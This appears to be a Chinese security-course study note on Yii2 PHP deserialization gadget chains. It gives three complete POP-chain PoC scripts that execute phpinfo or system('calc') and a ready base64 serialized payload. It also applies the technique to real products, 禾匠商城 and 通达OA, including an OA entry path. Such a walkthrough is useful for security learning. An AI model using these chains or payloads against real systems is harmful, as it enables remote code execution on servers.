小迪安全-112-yii反序列化链,某达oa,某商场,影响分析

yii是和tp一样的框架
入口文件

web目录下
相对tp比较简单一些,对比tp找一下他的url结构

对应的位置结构

这个contorllers文件的actionindex就是触发的方法
控制器,指向的index文件,就可以去视图模块看index文件

这就是前端展示的文件
自己创建个新的文件访问试试


访问到了test/test文件,返回了123,这个需要文件名字和上一个模板原因,利用类的格式也是,都需要调用,跟tp差不多
例如有反序列化入口怎么构造poc

这里就有接受序列化数值,并且进行反序列化操作的入口
思路和tp一样,

全局搜索销毁函数

来到这个文件下

记录一下文件名字和类
跟踪一下reset
跟到这里就没有了,close跟到也是没什么东西,但这里datareader是可控的,可以赋值给一个不存在的方法,触发--call
这里用到第二个思路,直接找call_user_func 逆跟

搜到了一个,同文件下面还有一个close方法直接返回func的值

这里记录一下命名空间和类,用到close方法
这里就已经可以构造链了

在这里让datareader等于 new FnStream这个对象再去触发close的时候就等于触发的FnStream对象的close

开始构造pop链
这里按照笔记顺序先写上面的再写下面的
先写个固定模板

这里就是use 第一个命名空间和类,然后声明一个新的对象
然后在上面写第一个链

第一个链写好之后就想办法给_fn_close可控,造成危害
然后在第一个链上面写第二个链

生成base64加密的反序列化值
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ

代码执行成功
看一下debug流程

直接看触发销毁函数的地方

datareader等于要触发类

到close的时候就执行了phpinfo
poc1
<?php
namespace GuzzleHttp\Psr7{//第二个链命名空间class FnStream{//第二个链的类var $_fn_close="phpinfo";//创建变量值为phpinfo}
}namespace yii\db{//第一个链的命名空间use GuzzleHttp\Psr7\FnStream;//因为调用FnStream类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new FnStream();//变量赋值为FnStream}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}
第二个链
给一个不存在的方法去出发--call
全局搜索看看可利用的call

记录文件名字,命名空间和类
然后跟踪一下format

看到了func-array,但是很遗憾,变量arguments被固定了,没法利用
然后这个人就去找单函数的
全局搜call_user_func(

关于两个值,在本文将没有看到,就转到声明


这两个赋值就可以
ok,开始构造链
poc2
<?phpnamespace yii\rest{class IndexAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(),'run'];//数组格式赋值,控制第一个值调用run方法}}
}namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间use Faker\Generator;//因为调用Generator类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new Generator();//c出发时不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}
动态调试看看
运行流程

在close时候给的方法不存在此文件,调用了call

这里数组格式赋值调用了indexaction的run方法
第三链

这里又搜索到一个一样的
构造一下链
<?phpnamespace yii\rest{class CreateAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(),'run'];//数组格式赋值,控制第一个值调用run方法}}
}namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间use Faker\Generator;//因为调用Generator类所以需要包含这个类class BatchQueryResult{//第一个链的类private $_dataReader;//变量值public function __construct()//创建方法{$this->_dataReader = new Generator();//c出发时不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是为了调用BatchQueryResult形成__destruct()-》reset()}
就只修改第三段链就可以了,而且也只是改一下类和命名空间

每一个链引用的文件都是不一样的,所以多条链路就是挨个调用所需要的类和方法
而这个是要在框架被开发的时候,出现了接受反序列化值而且我们可控可以这个值,就会造成反序列化命令执行漏洞
梳理流程txt文件
vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db; 类:class BatchQueryResult
vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db; 类:class BatchQueryResult
_dataReader=new FnStream -》close()
namespace GuzzleHttp\Psr7; class FnStream
close()
return call_user_func($this->_fn_close);
第一个思路,直接找call-user-func 逆跟
poc2
vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db; 类:class BatchQueryResult
vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db; 类:class BatchQueryResult
_dataReader=错误方法 -》call方法
vendor/fzaninotto/faker/src/Faker/Generator.php
namespace Faker; class Generator
call()->format()->call_user_func_array();;formattters('close') = [new indexaction(),'run']
call_user_func_array($this->getFormatter($formatter), $arguments);$arguments被固定了
但可以控制$formatter调用方法
call_user_func_array(“new IndexAction.run()”就能调用下一个链执行命令
vendor/yiisoft/yii2/rest/IndexAction.php
namespace yii\rest; class IndexAction
call_user_func($this->checkAccess, $this->id);
poc3
vendor/yiisoft/yii2/rest/CreateAction.php
namespace yii\rest; class CreateAction
call_user_func($this->checkAccess, $this->id);
案例一 禾匠商城
https://zhuanlan.zhihu.com/p/526291918

就在这里因为json-decode失败之后
就会进入变量res = unseriailize反序列化执行
就可以利用刚刚写好的链
案例二 通达oa反序列化
奇安信攻防社区-通达OA反序列化分析
使用了yii2.0.13版本
正常解密源码
怎么判断是yii框架

一艘关键字,getversion就找到了这个,文件名字也是yii

这个方法使用了unserialize函数
这里就使用了反推方法,先找了最后触发点,然后往前找
在全局搜索

这里引用过

搜索到loadcsrftokne引用过

getcsrftoken引用过

最后csrgmatggs引用过
这就马上就能找到入口文件了
看poc。入口是以cookie发送过去,访问
/general/appbuilder/web/portal/gateway/
目录

变量data就是cookie里面的数据
但是原有的链用不了,都被改了
就只能自己在找新的反序列化链
前面流程在找到close方法都是一样的

close方法发送了更改,然后在找call方法
然后剩下的看链接地址,里面有挨个链路分析,挺长的
额,这节课感觉小迪留后手了,讲的很水
jian
kang
相关文章:
小迪安全-112-yii反序列化链,某达oa,某商场,影响分析
yii是和tp一样的框架 入口文件 web目录下 相对tp比较简单一些,对比tp找一下他的url结构 对应的位置结构 这个contorllers文件的actionindex就是触发的方法 控制器,指向的index文件,就可以去视图模块看index文件 这就是前端展示的文件 自…...
区间选点详解
步骤 operator< 的作用在 C 中, operator< 是一个运算符重载函数,它定义了如何比较两个对象的大小。在 std::sort 函数中,它会用到这个比较函数来决定排序的顺序。 在 sort 中,默认会使用 < 运算符来比较两个对象…...
如何在白平衡标定种构建不同类型的白平衡色温坐标系
目录 一、预备知识: 二、常见的白平衡色温坐标系 三、白平衡色温坐标系的理解 1)横纵坐标轴分别代表什么含义? 2)色温坐标系中原点表示什么含义? 3)某M/某H的色温坐标为什么是长成这样呢?…...
Oracle RMAN同步数据库Active database duplicate
Active database duplicate,不需要先把目标数据库进行rman备份,只要目标数据库处于归档模式下即可直接通过网络对数据库进行copy,且copy完成后自动open数据库。这对于大数据特别是T级别的数据库来说优点非常明显,复制前不需要进行…...
Spring MVC 一个简单的多文件上传
原始代码逐行解释 PostMapping("/uploads") // ① 声明处理POST请求,路径为"/uploads" ResponseBody // ② 直接返回数据到响应体,不进行视图解析 public String uploads(MultipartFile[] files, // …...
基于DeepSeek/AI的资产测绘与威胁图谱构建
引言: 在网络安全攻防实践中,资产测绘是红队作战与蓝队安全运营的第一步,其本质都是通过系统性信息采集实现攻击面管理。 当前普遍存在的痛点在于,当企业级资产规模呈指数级增长时,传统基于规则引擎的低效批量处理方式…...
构建自动翻译工作流:技术与实践
一、引言 制药行业客户迫切需要一种翻译解决方案,以解决公司内部多样化的翻译难题。他们需要的不仅是提升翻译效率和准确性的工具,更希望能够保持文档的原始格式。我们观察到客户的需求广泛,包括多语言办公文件、研究文档和药品报批文件等&a…...
【Linux】中的网络管理
目录 1.ipv4原理,网关与DNS定义 2ip图形化配置--nm 2.1图形化平台配置 2.2无图形化平台配置 3.常用的网络命令--ping,wget,curl ping wget curl 4.ip命令临时配置---ifconfig,ip a ifconfig ip address 5.ip命令永久配…...
前端面试每日三题 - Day 10
这是我为准备前端/全栈开发工程师面试整理的第十天每日三题练习,涵盖: JavaScript 中 this 的指向详解与常见陷阱Vue 生命周期钩子的执行顺序与场景实践(Vue2 vs Vue3)系统设计实战:内容推荐系统的核心架构设计 ✅ 题…...
《深度学习》课程之卷积神经网络原理与实践教学设计方案
《深度学习》课程之卷积神经网络原理与实践教学设计方案 一、教学目标设计 (一)知识目标 学生能够准确描述卷积神经网络(CNN)的基本定义,包括其核心组成部分(如卷积层、池化层、全连接层等)及…...
elasticsearch中文分词器插件下载教程
一、下载原因: 我们的业务中通常使⽤的是中⽂分词,es的中⽂分词默认会将中⽂词每个字看成⼀个词⽐如:“我想吃⾁夹馍”会被分为”我”,”想”,”吃”,”⾁” ,”夹”,”馍” 这显然是…...
门面模式与适配器模式
一、门面模式 门面模式:提供统一接口访问子系统接口 1、包含角色 外观系统对外的统一接口子系统类的集合;并不知道外观角色的存在,需要为了配合外观角色而做特殊处理或修改 2、举例 原本开关灯要分别操作各个房间的灯,现在设置总…...
QSS【QT】
文章目录 QSSid选择器 & 类型选择器伪类选择器盒子模型 QSS 设置样式的时候,是可以指定某个控件来设置的。 指定控件之后,此时的样式就会针对这个指定的控件,也会针对子控件生效 ui->pushButton_2->setStyleSheet("QPushButt…...
第十六节:高频开放题-React与Vue设计哲学差异
响应式原理(Proxy vs 虚拟DOM) 组合式API vs Hooks React 与 Vue 设计哲学差异深度解析 一、响应式原理的底层实现差异 1. Vue 的响应式模型(Proxy/数据劫持) Vue 的响应式系统通过 数据劫持 实现自动依赖追踪: • …...
css 中float属性及clear的释疑
float属性可以让元素脱离文档流,父元素中的子元素设置为float,则会导致父元素的高度塌陷。 <style type"text/css"> .father{ /*没有给父元素定义高度*/background:#ccc; border:1px dashed #999; } .box01,.box02,.box0…...
缓存 --- 内存缓存 or 分布式缓存
缓存 --- 内存缓存 or 分布式缓存 内存缓存(In-Memory Cache)分布式缓存(Distributed Cache)内存缓存 vs 分布式缓存 内存缓存和分布式缓存是两种常见的缓存策略,它们在存储位置、访问速度和适用场景上有所不同。下面分…...
2025.4.17总结
工作:今天对需求的测试设计进行了完善,然后,对测试设计进行了评审,最后提了个问题单。 反思这个过程,要说不足的地方,就是评审的时候总觉得自己吐字不清晰,表达能力早就想提升了,但…...
BH1750光照传感器---附代码
目录 BH1750简介BH1750指令集BH1750工作流程 BH1750简介 VCC-->电源正; ADDR-->地址端口; GND-->电源负; PA5-->SDA-->I2C数据线; PA3-->SCL-->I2C时钟线; DVI-->I2C端口参考电压;…...
机器学习在催化剂设计中的应用理论加实操
背景介绍 数据智能驱动,催化理性设计新纪元 催化材料设计是能源转化、化工合成及环境治理等领域的核心挑战。传统催化研究主要依赖密度泛函理论(DFT)计算与实验试错法,通过量子力学模拟揭示活性位点电子结构,结合高通量实验筛选候选…...
蔡浩宇的AIGC游戏革命:从《原神》到《Whispers》的技术跨越
目录 引言:游戏行业的AI革命前夜 一、《Whispers》的技术突破与市场挑战 1.1 多模态AI技术的集成应用 1.2 与传统游戏的差异化体验 1.3 面临的商业化难题 二、从《原神》到《Whispers》的技术演进 2.1 《原神》成功的时代因素分析 2.2 蔡浩宇的技术路线转变 …...
Docker Compose 命令实现动态构建和部署
Docker Compose 命令实现动态构建和部署 一、编写支持动态版本号的 docker-compose.yml version: 3.8services:myapp:build: context: . # Dockerfile所在目录args:APP_VERSION: ${TAG:-latest} # 从环境变量获取版本号,默认latestimage: myapp:${TAG:-latest} …...
前端vue+typeScritp+elementPlus基础页面实现:
效果: 前端代码: index.vue: <template><el-container><el-main><el-card class"search-card" shadow"never"><transition :enter-active-class"proxy?.animate.searchAnimate.enter" :le…...
leetcode第20题(有效的括号)
思路解析(使用栈): 使用一个栈来保存左括号。 每当遇到一个右括号时,检查栈顶元素是否是匹配的左括号。 如果匹配,则弹出栈顶元素; 如果不匹配或者栈为空,则说明无效; 最后如果栈…...
超简单的git学习教程
本博客仅用于记录学习和使用 前提声明全部内容全部来自下面廖雪峰网站,如果侵权联系我删除 0.前言 相信有不少人被推荐那个游戏学习git,一个不止我一个完全没学习过的进去后一脸懵,半天都通不过一关然后就放弃了,我个人觉得那个…...
【DVWA File Upload 漏洞实战指南】(Low / Medium / High 全级别解析)
前言 文件上传功能是 Web 应用中非常常见的一种功能,用于上传头像、文档、图片等文件。但如果验证不当,攻击者可能上传恶意脚本,进而控制服务器。在 DVWA 中,File Upload 模块专门设计用于演练此类漏洞的不同防御等级。 一、Low …...
iPhone 13P 换超容电池,一年实记的“电池循环次数-容量“柱状图
继上一篇 iPhone 13P 更换"移植电芯"和"超容电池"🔋体验,详细记录了如何更换这两种电池,以及各自的优略势对比。 一晃一年过去,时间真快,这次分享下记录了使用超容电池的 “循环次数 - 容量(mAh)…...
Django 使用教程
Django 使用教程 Django 是一个高级的 Python Web 框架,采用了 MTV(Model-Template-View)设计模式,旨在帮助开发者快速构建高效、可维护的 Web 应用。它有着非常丰富的功能,包括 ORM、用户认证、表单处理、管理后台等…...
【集群IP管理分配技术_DHCP】一、DHCP技术概念与快速上手
在网络技术飞速发展的今天,动态主机配置协议(DHCP)作为网络中自动分配 IP 地址及相关配置参数的重要工具,极大地简化了网络管理流程。然而,随着网络规模的不断扩大和应用场景的日益复杂,传统 DHCP 在灵活性…...
Tailwindcss 入门 v4.1
以 react 为例,步骤如下: npm create vitelatest my-app -- --template react 选择 React 和 JavaScript 根据上述命令的输出提示,运行以下命令 cd my-app npm install npm run dev 一个 React App 初始化完成。 安装 Tailwindcss theme …...
【Linux】NAT、代理服务、内网穿透
NAT、代理服务、内网穿透 一. NAT1. NAT 技术2. NAT IP 转换过程3. NAPT 技术4. NAT 技术的缺陷 二. 代理服务器1. 正向代理2. 反向代理3. NAT 和代理服务器 内网穿透内网打洞 一. NAT NAT(Network Address Translation,网络地址转换)技术&a…...
